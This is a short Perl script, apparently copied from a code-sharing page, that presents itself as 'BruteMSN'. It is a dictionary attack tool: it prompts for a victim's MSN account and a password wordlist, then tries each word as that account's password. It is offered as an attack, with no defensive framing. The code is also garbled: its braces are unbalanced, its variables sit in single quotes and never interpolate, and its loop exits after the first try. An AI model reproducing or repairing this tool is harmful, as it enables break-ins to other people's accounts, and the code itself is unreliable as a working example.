./c0de/perl/brutemsn.txt

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
#!/usr/bin/perl
system ("clear");
system ("cls");
system ("color fc");
# Re-c0de by m0x.lk
# Edit : BruteMSN .- ~HaSe & RE.
# Download Lib's.
use lib qw(./MSN/lib);
use MSN;
use strict;
use encoding "euc-jp";
print "Re-C0de by m0x.lk\n";
print "\n";
print "BruteMSN .- ~HaSe & RE.\n";
print "\n";
sleep 1;
print "Victima: ";
$victima=<STDIN>;
print "\n\n";
print "\n";
print "Diccionario: ";
$dict=<STDIN>;
print "\n\n";
open (D,"<$dict") or die "Diccionario no encontrado\n";
while(<D>)
{
$try = $_;
    chomp $try;
my $msn = MSN->new(Handle => '$victima', 
                   Password => '$try');
    $counter++;
    $tiempo++;
    {
	print "$victima / $try \n";
	last;
    }
    if($counter==$fallos)
    {
}
close(D);
print "\n\n";
print "$tiempo Obtener pass";
print "\n\n";
print "c0dex by m0x.lk";

Back